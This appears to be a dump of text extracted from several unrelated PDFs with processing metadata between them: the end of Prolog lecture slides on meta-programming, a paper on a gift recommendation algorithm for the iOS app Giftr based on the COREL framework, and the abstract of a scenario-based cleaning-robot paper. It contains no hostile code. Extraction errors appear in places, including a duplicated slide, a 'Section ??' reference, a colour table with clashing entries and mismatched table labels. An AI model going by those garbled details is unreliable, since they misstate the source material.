Similarly, we define `less than` from the `successor` relation, and `descendent` from `child`, all using the same pattern of definition.
In \( \lambda \text{Prolog} \) we can do this once and for all:
trans Pred X Y :- Pred X Y.
trans Pred X Z :- Pred X Y, trans Pred Y Z.
We can use this to define ancestor via
ancestor X Y :- trans parent X Y.
Here the predicate parent is used as an argument to the trans procedure.
One further omission from the course so far has been a discussion of *meta-programming*
In contrast to the other omissions, meta-programming can (partially) be reconciled with the declarative reading. ("Partially" because some Prolog meta-primitives, such as `var/1` cannot be understood declaratively.)
We consider some aspects of meta-programming from a declarative viewpoint.
Meta-language
When we have two languages, and use one to talk about the other, we are using the first language as a *meta language* to talk about the second language, which is called the *object language*.
Examples
English as meta language, with French as object language
*The word “poisson” is a masculine noun*
English as both meta and object language
*It is hard to pronounce “Peter Piper Picked a Piece of Pickled Pepper”*
Meta language in Prolog
Prolog contains a mixture of object-level and meta-level statements.
So far, in the theory course, we have seen Prolog used as an object language. E.g.
father(a,b).
uses the father predicate to state that a is the father of b.
However
functor(father(a,b),father,2)
uses Prolog as a meta language to talk about itself. Here, we state that the Prolog term father(a,b) has father as its main operation and this has 2 arguments.
Meta-programming in Prolog
The ability of Prolog to talk about itself, for example describe its own syntax, has a number of uses.
For example, it is used crucially in meta-programming applications, such as writing an interpreter for Prolog in Prolog itself, or variations on similar themes, some very useful.
Prolog as a meta-language declaratively
The *declarative ideal* of interpreting programs as theories and queries as logical consequences does extend to cover those aspects of meta-programming that are independent of the current state of the system.
This is natural. For example, the statement
```
functor(father(a,b),father,2)
```
makes a perfectly declarative assertion.
However, there is a problem in using *definite clause predicate logic* as the basis of this declarative understanding. Logically, *father(a,b)* is a formula rather than a term, so cannot appear inside a surrounding predicate (here *functor*).
(This is not an issue in Prolog since it does not make a syntactic distinction between formulas and terms.)
Two possible solutions
1. **Within definite clause predicate logic.** Encode Prolog syntax (terms and formulas) as data, for example using lists (so `father(a,b)` would be encoded as `[father,a,b]`). Then meta-predicates can be expressed as ordinary predicates describing properties of the encodings. E.g.,
\[
\text{myfunctor}([\text{father},a,b],\text{father},2)
\]
2. **By separating the object and meta logic.** This is the approach taken in the logic programming language Goedel:
[http://www.scs.leeds.ac.uk/hill/GOEDEL/expgoedel.html](http://www.scs.leeds.ac.uk/hill/GOEDEL/expgoedel.html)
But perhaps Prolog's choice of blurring the distinction between predicate and function symbols is the more practical one for programming.
Summary of course
*Definite clause predicate logic* provides the basis for understanding the declarative core of Prolog.
Other aspects of logic programming (restricted forms of negation by failure, higher-order logic programming, meta-programming) admit a declarative reading in extensions of definite-clause predicate logic.
Still other aspects of Prolog (I/O, cut, etc.) are essentially *procedural* and so do not fit into the declarative framework.
Summary of course
*Definite clause predicate logic* provides the basis for understanding the declarative core of Prolog.
Other aspects of logic programming (restricted forms of negation by failure, higher-order logic programming, meta-programming) admit a declarative reading in extensions of definite-clause predicate logic.
Still other aspects of Prolog (I/O, cut, etc.) are essentially *procedural* and so do not fit into the declarative framework.
Punchline (cf. Conclusions slide of Lecture 2)
Prolog (also λProlog) is an example of good engineering design based on an interplay between theoretical and practical considerations.
Main points today
Non-declarative features of Prolog
Higher order logic programming: $\lambda$Prolog
The extended logic of $\lambda$Prolog
Extending search for $\lambda$Prolog queries
Meta-programming (non-examinable)
|
{"Source-Url": "http://www.inf.ed.ac.uk/teaching/courses/lp/2014/slides/lpTheory8.pdf", "len_cl100k_base": 4215, "olmocr-version": "0.1.53", "pdf-total-pages": 41, "total-fallback-pages": 0, "total-input-tokens": 55870, "total-output-tokens": 5917, "length": "2e12", "weborganizer": {"__label__adult": 0.0005311965942382812, "__label__art_design": 0.000530242919921875, "__label__crime_law": 0.00048065185546875, "__label__education_jobs": 0.007289886474609375, "__label__entertainment": 0.0001571178436279297, "__label__fashion_beauty": 0.00023162364959716797, "__label__finance_business": 0.00020456314086914065, "__label__food_dining": 0.0007581710815429688, "__label__games": 0.0011167526245117188, "__label__hardware": 0.0008387565612792969, "__label__health": 0.0006213188171386719, "__label__history": 0.0003650188446044922, "__label__home_hobbies": 0.0002053976058959961, "__label__industrial": 0.0008087158203125, "__label__literature": 0.0013599395751953125, "__label__politics": 0.0003771781921386719, "__label__religion": 0.0010538101196289062, "__label__science_tech": 0.03643798828125, "__label__social_life": 0.0002486705780029297, "__label__software": 0.006427764892578125, "__label__software_dev": 0.93798828125, "__label__sports_fitness": 0.0004963874816894531, "__label__transportation": 0.0010652542114257812, "__label__travel": 0.0002720355987548828}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 16551, 0.00337]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 16551, 0.66518]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 16551, 0.86731]], "google_gemma-3-12b-it_contains_pii": [[0, 124, false], [124, 372, null], [372, 860, null], [860, 1178, null], [1178, 1392, null], [1392, 1595, null], [1595, 1823, null], [1823, 2049, null], [2049, 2289, null], [2289, 2533, null], [2533, 2914, null], [2914, 3403, null], [3403, 3659, null], [3659, 3919, null], [3919, 4244, null], [4244, 5001, null], [5001, 5536, null], [5536, 5907, null], [5907, 6490, null], [6490, 7254, null], [7254, 7644, null], [7644, 7763, null], [7763, 8292, null], [8292, 8639, null], [8639, 9340, null], [9340, 9611, null], [9611, 10118, null], [10118, 10673, null], [10673, 11059, null], [11059, 11370, null], [11370, 11911, null], [11911, 12176, null], [12176, 12557, null], [12557, 12990, null], [12990, 13446, null], [13446, 13757, null], [13757, 14486, null], [14486, 15236, null], [15236, 15691, null], [15691, 16329, null], [16329, 16551, null]], "google_gemma-3-12b-it_is_public_document": [[0, 124, true], [124, 372, null], [372, 860, null], [860, 1178, null], [1178, 1392, null], [1392, 1595, null], [1595, 1823, null], [1823, 2049, null], [2049, 2289, null], [2289, 2533, null], [2533, 2914, null], [2914, 3403, null], [3403, 3659, null], [3659, 3919, null], [3919, 4244, null], [4244, 5001, null], [5001, 5536, null], [5536, 5907, null], [5907, 6490, null], [6490, 7254, null], [7254, 7644, null], [7644, 7763, null], [7763, 8292, null], [8292, 8639, null], [8639, 9340, null], [9340, 9611, null], [9611, 10118, null], [10118, 10673, null], [10673, 11059, null], [11059, 11370, null], [11370, 11911, null], [11911, 12176, null], [12176, 12557, null], [12557, 12990, null], [12990, 13446, null], [13446, 13757, null], [13757, 14486, null], [14486, 15236, null], [15236, 15691, null], [15691, 16329, null], [16329, 16551, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 16551, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 16551, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 16551, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 16551, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 16551, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 16551, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 16551, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 16551, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 16551, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 16551, null]], "pdf_page_numbers": [[0, 124, 1], [124, 372, 2], [372, 860, 3], [860, 1178, 4], [1178, 1392, 5], [1392, 1595, 6], [1595, 1823, 7], [1823, 2049, 8], [2049, 2289, 9], [2289, 2533, 10], [2533, 2914, 11], [2914, 3403, 12], [3403, 3659, 13], [3659, 3919, 14], [3919, 4244, 15], [4244, 5001, 16], [5001, 5536, 17], [5536, 5907, 18], [5907, 6490, 19], [6490, 7254, 20], [7254, 7644, 21], [7644, 7763, 22], [7763, 8292, 23], [8292, 8639, 24], [8639, 9340, 25], [9340, 9611, 26], [9611, 10118, 27], [10118, 10673, 28], [10673, 11059, 29], [11059, 11370, 30], [11370, 11911, 31], [11911, 12176, 32], [12176, 12557, 33], [12557, 12990, 34], [12990, 13446, 35], [13446, 13757, 36], [13757, 14486, 37], [14486, 15236, 38], [15236, 15691, 39], [15691, 16329, 40], [16329, 16551, 41]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 16551, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
0b4d452ea05652a8034721e5708a9dfab61f0fff
|
Keywords: E-commerce, Recommendation Algorithms, Mobile Software Development, iOS, Giftr.
Abstract: This paper proposes a recommendation algorithm for mobile devices based on the COREL framework. In this context, the mobile application market and m-commerce sales have grown steadily, along with the growth of studies and product recommendation solutions implemented in e-commerce systems. The proposed recommendation algorithm is a customization of the COREL framework, based on the complexity of the implementation associated with iOS mobile applications. Therefore, this work aims to customize a gift recommendation algorithm in the context of mobile devices using as main input the user preferences for the gifts recommendation in the Giftr application. This algorithm has been tested through three cycles of tests and improved during it, the results suggest that the algorithm presents a good performance and gifts results based on the user preferences.
1 INTRODUCTION
In order to improve the user experience and increase their sales, e-commerce companies use product recommendation algorithms according to the characteristics of their consumers. There are many types of algorithms, and despite the success of some of them, most of them have problems. Therefore, it is important that companies have a consistent and relevant algorithm to recommend products to their costumers (Gama et al., 2011).
In recent years, the online sales have seen an intense growth in sales in Brazil and the rest of the World. Festive dates of the year like Mother’s Day, Valentine’s Day, Children’s Day, Christmas Day and others are the time of year in which the demand for this type of trade intensifies e-commerce (Mendes, 2016). This scenario has provided a business opportunity for software applications that offer the consumer the opportunity to gift someone on those festive dates by cross-referencing user profile data to offer the best related gifts.
Initially, one of the problems encountered in creating recommendation algorithms is that, the system has not much user information. That hinders the learning and performance of the algorithms. Thus, mechanisms that reduce the learning time of the algorithms and prediction based on the little available information are necessary (Gama et al., 2011).
In the 90s, the e-commerce began when the first sales websites were created. Initially, the volume of transactions was very low. But the change in the world market made it become the largest and most voluminous way to market products (do Nascimento et al., 2009). According to a survey released by Buscapé in 2015, billions of Brazilian reais are collected on commemorative dates for e-commerce sales. The revenue for Christmas in 2015 was 7.40 billion Brazilian reais through purchases made on the Internet (de Souza, 2013).
Studies have been done in the area of e-commerce, especially about algorithms of recommendations, widely used in web systems. A good example of a study that proposes an improvement of recommendation systems using techniques that aim to predict the behavior of the user is the article Predicting Customer Purchase Behavior in the E-Commerce Context, later to use it as input for the recommendation of Products itself (Qiu et al., 2015).
The Giftr application is the study object of an initiative in this context. This application was designed and developed by Ruyther Costa, Caíque Pereira, Caio Sanchez and Victor Bruno, during the BEPiD project in the period of February 2 and December 11,
2015.
Based on information of the user profile and personal preferences in the Giftr application, this research seeks to recommend gifts that best suit the user. The Buscapé engine has been chosen because of its popularity and available API in the context of brazilian e-commerce, which will support the Giftr application and the gift recommendation algorithm.
A common issue found in e-commerce stores and sales applications is the creation of good products by means of recommendation algorithms for their users. These algorithms help both the user experience and the increased sales of the companies.
This work proposes the following question due to this difficulty:
Q1. How to create a gift recommendation algorithm that fits the demand of a mobile App?
This work aims to contribute improving recommendation algorithms answering this question. The data collected through it can be used for future work related to the algorithms of recommendations focused on the e-commerce for gifts. This work general objective is to develop a gift suggestion algorithm that recommends the best products to the user based on their profile.
Investigating possible gift recommendation solutions that consider the user profile, substantiating the adopted solution with other algorithms solutions are the secondary objectives of this work.
1.1 Related Work
Some remarkable studies have been developed in the field of e-commerce recommendation algorithms, and this in particular proposes a framework that aims to predict user behavior in the context of e-commerce (Qiu et al., 2015). The big idea presented in this article is that it aims to predict consumer behavior, in other words, the consumer’s preferences to buy some product in an e-commerce system. The article points out that through traditional algorithms there is no satisfactory execution of predictive tasks, so the article proposes a framework, COREL, a solution capable of solving this very common challenge in the traditional business context.
COREL, the framework proposed in this study is consists of two stages. The first stage is making an association between products by raising what is common among them and from these data to predict the motivations that lead the consumer to buy a particular product, and then build a list of products candidates for purchase by this consumer. The second stage is to predict the main characteristics that the consumer will be interested in a particular type of product and through these data define the products in which the consumer will be interested, based on the list of candidate products generated at the end of the first stage.
2 DEVELOPMENT
The Giftr application was created in the BEPíD (de Braslia, 2016) project with the idea of helping people give gifts to each other. The solution found by the team was to develop a social network where each user registers their favorite products, tastes and sizes (shoes, t-shirts, etc), and with this data the user has the possibility to give another through the application.
The functionality of the search application, both user and product has a fundamental role in the application, because through them users can find other users and thus invite them to be your friends. The search for products allows the user to find products in general, based on the products available from the API of the Lomadee (Lomadee, 2016b), enabling the user to make the purchase of products and evaluate the products, with a variation of zero to five points, to show in the system how much the user wants to be presented with that product.
The data control functionality of the profile allows the user to change and add personal information of the user, this being the means that the same has to register their tastes, fundamental for the operation of the algorithm of recommendation, and the measures, the size of footwear used by him. The registration of the tastes occurs through the entry by the user of a string that represents a taste of yours, for example, “iPhone”, and later inform which category of the Buscapé is associated with preference, for example “cellular and smartphone”.
2.1 Lomadee Platform
Buscapé (Company, 2016) offers some very robust platforms, among which is Lomadee (Lomadee, 2016c), which provides several APIs for data access available in the Buscapé system. Lomadee offers several APIs (Lomadee, 2016a), they are:
- Offers API: it allows to retrieve data of categories, products, offers and evaluations of users and stores of Buscapé;
- Coupon API: enables you to query for active coupons on the Lomadee platform;
- Reporting API: Enables the retrieval of transaction or commission data in detail.
The API used in the Giftr application is that of the Offers on the Lomadee platform, because through it there is the possibility to retrieve data from categories, products, offers and evaluations of Buscapé users and stores, which are fundamental to the Giftr application and for the recommendation algorithm of gifts operation presented in this paper. This API provides several types of query for data recovery and among them the ones that are used are:
- Find Category List: returns detailed information of existing product categories in Buscapé and Lomadee;
- Top Products: returns the best products from Buscapé and Lomadee, processed and filtered by an exclusive technology of the platform;
- Find Products List: lists with detailed product information on Buscapé and Lomadee;
- View User Ratings: returns general user rating data about a specific product;
- Top Offers: returns the most searched products in Buscapé/Lomadee;
- Find Offer List: returns a list of the sites that are offering the product.
In addition to the outputs that each type of query returns, it is necessary to have a well-structured input so that the results are correct, the complete description of the inputs and outputs of each query available on the website of the Lomadee platform (Lomadee, 2016b).
2.2 Gift Recommendation Algorithm on Mobile Devices
The algorithm proposed in this article will be based in another article, the Predicting Customer Purchase Behavior in the E-commerce Context (Qiu et al., 2015), which will be customized to be accordance with mobile applications.
The framework COREL was proposed for a e-commerce context, which aims predict the customer behavior and recommend products based on that prediction. The context proposed for this algorithm is a mobile application that it helps people give a present to the other, recommending products based on the user profile.
The figure 1 shows the flow from the proposed algorithm with a hybrid approach (Section ??), little similar to the one that COREL uses, and the subsections below detail each step.
2.2.1 Categorize the Products Rated by the User
In the first step from COREL, the "product currently purchase by customer $c_k, d_i"", which consists of verifying the product $d_i$ bought by the purchased by the consumer $c_k$, given to the framework a base product that will allow the probability calculations to be performed later. This context, however, differs a lot of the one that the proposed algorithm is, because the main goal is to recommend gifts based on the user profile through a mobile application, the Giftr.
Having this in mind, the proposed algorithm, instead verify the product ($d_i$) that the consumer ($c_k$) purchased, identify the product ($p_i$) that the user rated in the mobile application, with a range from zero to five. The product rated ($p_i$) is wrote in a user’s purchased products list ($l_p$) for further use in the algorithm.
The Lomadee API returns many product’s attributes, usual from all products listed in the platform. Choose the right attributes to store is important and determinant as an input to the proposed algorithm, so the ones selected are: product name ($p_{n}$), product category ($p_{c}$), minimum price ($Q_{pmn}$), maximum price ($Q_{pmx}$), user average rating ($Q_{s}$) and number of comments ($Q_{r}$).
2.2.2 Categorize the User’s Preferences
In COREL, the user’s preferences are predict identified, in other words, through the interactive steps (1) Heat Model, (2) A hierarchical Bayesian Discrete Choice Model and (3) Collaborative Filtering, shown
in the figure 1. The model seeks to predict the tastes that the consumer will have for a given product from data of products that the same has already acquired, of product preferences data (number of comments, user average rating, etc.) reported by the consumer that is believed to be of greater relevance and consumers who have similar tastes, to predict the preferences that certain user of the system will have at the moment of purchase of products.
The context of the previous paragraph is not the same that Giftr has, after all the user will inform his tastes based in products of different categories, as smartphone, computer, among others. This preferences will be use to make this step of the recommendation algorithm, which does not have any method to predict the tastes of the user as COREL.
As presented in section 2.2.1, the user must insert a string ($p_s$) which represents the preferences of the user and the category ($p_c$) associated, based on the categories from Buscapé (Buscapé, 2016). In this way, this data will serve as input to the next step of the recommendation algorithm, and for this motive it will be saved.
### 2.2.3 Products Candidates List
In this step will be fulfilled the products listening ($p_j$) that it will be used for the calculations in the next step. To list the candidates products is need to inform two important data for the use of the Offers API of Lomadee, using the consult API called "Find Product List", the keyword ($p_s$) and the category ($p_c$) of the preference informed by the user in the mobile application to the API returns the existent products in Buscapé associated with $p_s$ and $p_c$.
In the Lomadee API, the data input is made through a url and the products that are returned using the API does not have a defined quantity, therefore it is necessary define in a empirical way the quantity of products that will be in the candidates products list, given that the algorithm will run in a mobile application with a limited hardware.
The Giftr user has the possibility to inform many of his preferences and categories associated it, for this reason, the scope to the products listing is limited a one single category ($p_c = 1$), nevertheless, having the possibility of have one or more keywords associated to this category ($s \in Z | s > 1$), for example, “iPhone” and “Samsung Galaxy” as keywords and the category being “cellphone and smartphone”.
In the final of this step, there are “n” candidates products listed $w$.
### 2.2.4 Probability Calculation
This step consists, briefly, in the calculation of the user ($c_k$) to be interested by the product ($p_j$), comparing the characteristics $Qpmn$ and $Qpmx$ of this product with the one rated product ($p_i$), both in the same category.
The probability calculation proposed in this article differs a lot of the base article (Qiu et al., 2015), because in it the calculation is accomplished using a methodology shown in the figure 1 through the probability calculation of $P(d_j|c_k)$. In the calculations of the proposed algorithm in this article, it will not be a specific equation for the probability calculation, in this case it will be a sequence of steps that will define the products with the highest probability that the user will be interested.
To do so, this step will be subdivided into three sub steps so that the products with the highest probability are listed, they are:
1. Make a price comparison between the favored product and the candidate;
2. Filter the candidate products that deviate from the minimum and maximum price of the favored product;
3. Elaborate the rank of the candidate products based on the minimum and maximum prices.
### 2.2.5 Make a Price Comparison between the Favored Product and the Candidate Product
The first step in this sub step is the search of the stored data of the product favored by the user, output from the step described in the section 2.2.2, because they will be the basis for comparisons with the candidate products, as well as to retrieve the data of all products from the candidate product list ($w$), output of the sub step described in the section 2.2.3.
The parameters that will be used are from the product evaluated by the user: $p_n$, $Qpmn$ and $Qpmx$. The first parameter will be necessary for the identification of the product, the second and third are the parameters that best show the characteristic of this product, among other parameters that the API returns in the query and the parameters that will be used for $pc$ will be the same as $pn$.
Given the parameters to be used, the calculations to be performed for the comparison of $p_j$ and $p_i$ are:
$$PQmn = \frac{Qpmn(p_j)}{Qpmn(p_i)} \quad (1)$$
where,
Qpmn(pj) is the minimum price of pj, Qpmn(pi) is the minimum price of pi, PQmn the proportion of Qpmn(pj) in relation to Qpmn(pi), and
\[ PQmx = \frac{Qpmx(pj)}{Qpmx(pi)} \]
(2)
where,
Qpmx(pj) is the maximum price of pj, Qpmx(pi) is the maximum price of pi, PQmx the proportion of Qpmx(pj) in relation to Qpmx(pi).
A separate calculation for the minimum (PQmn) and maximum (PQmx) prices shall be performed, where the calculations are intended to show how proportionally the maximum and minimum price of pj in relation to pi, and thereby identify the pj which most closely resemble the prices of pi. This sub step is then terminated and the generated data is saved for use in the next substeps of the algorithm, in this way the list of candidate products (w) is updated with the values of the proportions calculated from equations 1 and 2.
2.2.6 Filter the Candidate Products that Diverge of the Minimum and Maximum Price of the Favored Product
This sub step has as input the updated list w, with the values of the proportions of the minimum and maximum prices of the products pj. Thus, the objective of this sub-step is to filter products that diverge from "x" percent of the base (minimum and maximum) prices of pi and exclude those that exceed a threshold percentage value.
To calculate the proportional percentage that the parameters PQmx and PQmn of pi have relative to the same parameters of pi, it is necessary to perform the following calculations:
\[ PcQmx = PQmx \times 100 \]
(3)
\[ PcQmn = PQmn \times 100 \]
(4)
The equations 3 and 4 indicate the proportional percentage of the minimum and maximum price of pj in relation to pi. In order for filtering of products pj to occur, a threshold percentage value (p) is required both downward and upward of the base value, such as, for example, ten percent up and down of the one hundred percent of the minimum and maximum price of pi, and the definition of the value of pi is made empirically.
Then with the percentage values PcQmx and PcQmn for each product, the classification of those that comply with the percent limit pi is carried out. If any product has PcQmx and PcQmn outside the percent limit pi, it is excluded from the list of candidate products, if only one of the percentage values is not in the limit pi the product is not excluded from the w list, as is the case that PcQmx and PcQmn are within the limit, as shown in Table 1.
If there are many candidate products at the end of this filtering, it may be necessary to define a limit number so that there are no performance problems in the algorithm, this number must be defined empirically.
2.2.7 Elaborate the Rank of the Candidate Products based on the Minimum and Maximum Prices
Based on the calculations of the previous sub step of the price ratio Qpmn and Qpmx of pj with respect to pi, the list w contains the pi all disordered. The purpose of this sub step is to sort the list based on the PcQmn and PcQmx data.
\[ Pcm = \frac{PcQmx + PcQmn}{2} \]
(5)
Since there are two distinct data, PcQmn and PcQmx, in order to sort the list in a way that is more optimized, the arithmetic mean of these two values (Pcm) will be given so that only one value for the comparison at the time of the descending ordering of the products, as shown in the equation 5.
2.3 List of Recommended Products
The purpose of this step is to reorder the list w based on the comparison of two more parameters of pj and pi, Qs and Qr. The motivation of this reordering is to give more credence to the ordering of products in the list, based on the data that Lomadee makes available in its API.
The parameter Qr informs the amount of comments that a product obtained in Buscapé, and can be used as a way to give credence to the value given by Qs, that is, if a product has Qs equal to 9.0 and another one has 9.0, what has a higher value of comments (Qr) will have a greater relevance in relation to the other.
\[ Pd = \frac{Qs}{Qr} \]
(6)
The parameter $P_d$ then indicates the credibility to the value of $Q_s$, in case the closer to zero $P_d$ is, the greater the credibility of $Q_s$, because $Q_r$ tends to be a larger value. Then for the reordering will be used $P_d$, plus the list $w$ already found, so that the reordering is re-done without taking into account the one performed by the step of the previous algorithm, the value of $pd$ will be added to $P_{cm}$:
$$P_w = pd + P_{cm}.$$ \hspace{1cm} (7)
$P_w$ is the base value for descending reordering of the $w$ list, which takes into account $P_{cm}$ of the first ordering of the third sub step described in Section 2.2.7. At the end of this step, the $w$ list has the products $p_j$ in the order of importance to be recommended to the user.
### 3 ALGORITHM VALIDATION AND VERIFICATION
The following results were found using the methodology and steps defined, respectively, (de Paula Pereira et al., 2017) and (da Costa et al., 2017).
The type of tests chosen to validate the algorithm were gray and black box tests. Each test case has been defined, refined, executed and documented. They were executed on the iPhone 5 simulator of Xcode using iOS 10.3. The Table 2 shows how the results are represented by color in tables 3 to 5.
<table>
<thead>
<tr>
<th>Color</th>
<th>Test Case Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Yellow</td>
<td>Test case passed</td>
</tr>
<tr>
<td>Red</td>
<td>Test case passed but had a warning</td>
</tr>
<tr>
<td>Red</td>
<td>Test case did not pass or No results</td>
</tr>
</tbody>
</table>
The Table 3 shows the results from the first cycle of tests. The first cycle contains tests of gray and black type. The objective of the list cycle was to test different numbers of $p_l$, interests, rated products with the same or different categories. The values of $p_l$ that were tested were 15, 20 and 25. And the quantities of interests and rated products were none, 1, 3 or 10.
After the execution of the first cycle, 55% of the test cases passed. Also, 40% did not pass or had no results and 5% passed, but had a warning.
In TC-11, a bug was found when you add interests with the same name more than one time and with different categories. In addition to this, in TC-16 there was an error on SQLite on the first algorithm execution. Also, with this cycle, it was possible to observe that when the categories are totally different, there are no results.
Other bugs not related to the algorithm itself were found and fixed after this first cycle of tests with the bugs mentioned above. An important conclusion from those test cases was that the number of results of the recommendation for each test were lower than expected. Most of the results were only one recommendation to the user.
The Table 4 shows the results from the second cycle of tests. The second cycle contains tests of gray and black type. The objective of the second cycle was to test higher numbers of $p_l$, increase the quantity of interests and rated products with the same or different categories. The values of $p_l$ that were tested were 20, 25 and 30. And the quantities of interests and rated products were none, 1, 3, 10 or 30.
After the execution of the second cycle, 76.92% of the test cases passed. Also, 15.38% did not pass or had no results and 7.7% passed, but had a warning.
In TC-21, for example, using a larger number of rated products, interests and a higher $p_l$, its possible to see that the larger the $p_l$ is, the longer it takes to run the algorithm overall. Another factor that could be observed was that the results were almost the same even with some different $p_l$ values.
Besides that, some test cases with different prod-
uct categories still unsuccessful, but its a smaller number of test cases than the cycle one due to a change to the algorithm that was made after the first cycle. Also, some general bugs from the App were found and fixed during this phase.
The Table 5 shows the results from the third cycle of tests. The third cycle contains tests of gray type. The objective of the third cycle was to test a higher quantity of "n" candidates products listed (w). The values of "n" were 50, 100, 200 or 300. And the quantities of interests and rated products were 1 or 2.
To make the execution of these tests possible, it was necessary to adapt the pagination of products results. However, those tests about the "n" candidates products listed (w) were still inconclusive, more tests are necessary in the future to define.
After these tests, it was possible to define a value of \( p_t \) equal to 10. In this cycle, it was possible to observe again that most of the test cases with different product categories had only one result. That is because the main keyword is from the rated product that has no corresponding category with the interests. And that is much more specific than the case that both have the same categories. That will be improved in the future.
Moreover, the recommendations quality is above the average. And the time of the algorithm execution was an acceptable period considering the standards time of execution in other applications, the hardware and the complexity of it.
| Table 6: Third cycle of tests. |
|---|---|---|---|---|---|---|---|
| TC-1 | TC-2 | TC-3 | TC-4 | TC-5 | TC-6 | TC-7 | TC-8 |
4 CONCLUSIONS
This work allowed to present the results of the previous paper, (de Paula Pereira et al., 2017), presented the entire theoretical part of the algorithm implemented in this paper and research review, which investigated possible gift recommendation solutions that take into account the user profile and among the solutions found, the one that best matches the context of this work is the COREL framework.
The COREL framework was customized to the Gift application context, which required the recommendation algorithm to run locally in the device and recommend gifts based in the user preferences. The proposed algorithm was tested through three cycles of gray and black box to verify and validate if it was working as expected and define some constants. A large number of improvements were made during this process and the results presented pointed goals were accomplished, the algorithm presented a good recommendation gifts and process performance.
REFERENCES
663
|
{"Source-Url": "http://www.scitepress.org/Papers/2018/67928/67928.pdf", "len_cl100k_base": 5950, "olmocr-version": "0.1.50", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 24164, "total-output-tokens": 6970, "length": "2e12", "weborganizer": {"__label__adult": 0.0003898143768310547, "__label__art_design": 0.00026154518127441406, "__label__crime_law": 0.0003688335418701172, "__label__education_jobs": 0.0007305145263671875, "__label__entertainment": 5.614757537841797e-05, "__label__fashion_beauty": 0.0002267360687255859, "__label__finance_business": 0.001983642578125, "__label__food_dining": 0.00041365623474121094, "__label__games": 0.0008711814880371094, "__label__hardware": 0.0009984970092773438, "__label__health": 0.0004744529724121094, "__label__history": 0.0001885890960693359, "__label__home_hobbies": 6.73532485961914e-05, "__label__industrial": 0.0003135204315185547, "__label__literature": 0.00021660327911376953, "__label__politics": 0.0002008676528930664, "__label__religion": 0.0002498626708984375, "__label__science_tech": 0.0128326416015625, "__label__social_life": 5.412101745605469e-05, "__label__software": 0.01273345947265625, "__label__software_dev": 0.96533203125, "__label__sports_fitness": 0.00023245811462402344, "__label__transportation": 0.0004911422729492188, "__label__travel": 0.00021028518676757812}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 28375, 0.04666]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 28375, 0.10142]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 28375, 0.93115]], "google_gemma-3-12b-it_contains_pii": [[0, 3518, false], [3518, 8183, null], [8183, 11761, null], [11761, 16477, null], [16477, 20449, null], [20449, 24027, null], [24027, 28375, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3518, true], [3518, 8183, null], [8183, 11761, null], [11761, 16477, null], [16477, 20449, null], [20449, 24027, null], [24027, 28375, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 28375, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 28375, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 28375, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 28375, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 28375, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 28375, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 28375, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 28375, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 28375, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 28375, null]], "pdf_page_numbers": [[0, 3518, 1], [3518, 8183, 2], [8183, 11761, 3], [11761, 16477, 4], [16477, 20449, 5], [20449, 24027, 6], [24027, 28375, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 28375, 0.05797]]}
|
olmocr_science_pdfs
|
2024-12-02
|
2024-12-02
|
5572df9e0a088b1187dcc85b2177d755f23459ee
|
A Scenario-based MDE Process for Developing Reactive Systems: A Cleaning Robot Example
Joel Greenyer, Daniel Gritzner, Jianwei Shi, and Eric Wete
Leibniz Universität Hannover, Software Engineering Group, Hannover, Germany,
greenyer@inf.uni-hannover.de, daniel.gritzner@inf.uni-hannover.de
Abstract. This paper presents the SCENARIOTOOLS solution for developing a cleaning robot system, an instance of the rover problem of the MDE Tools Challenge 2017. We present an MDE process that consist of (1) the modeling of the system behavior as a scenario-based assume-guarantee specification with SML (Scenario Modeling Language), (2) the formal realizability-checking and verification of the specification, (3) the generation of SBP (Scenario-Based Programming) Java code from the SML specification, and, finally, (4) adding platform-specific code to connect specification-level events with platform-level sensor- and actuator-events. The resulting code can be executed on a RaspberryPi-based robot. The approach is suited for developing reactive systems with multiple cooperating components. Its strength is that the scenario-based modeling corresponds closely to how humans conceive and communicate behavioral requirements. SML in particular supports the modeling of environment assumptions and dynamic component structures. The formal checks ensure that the system satisfies its specification.
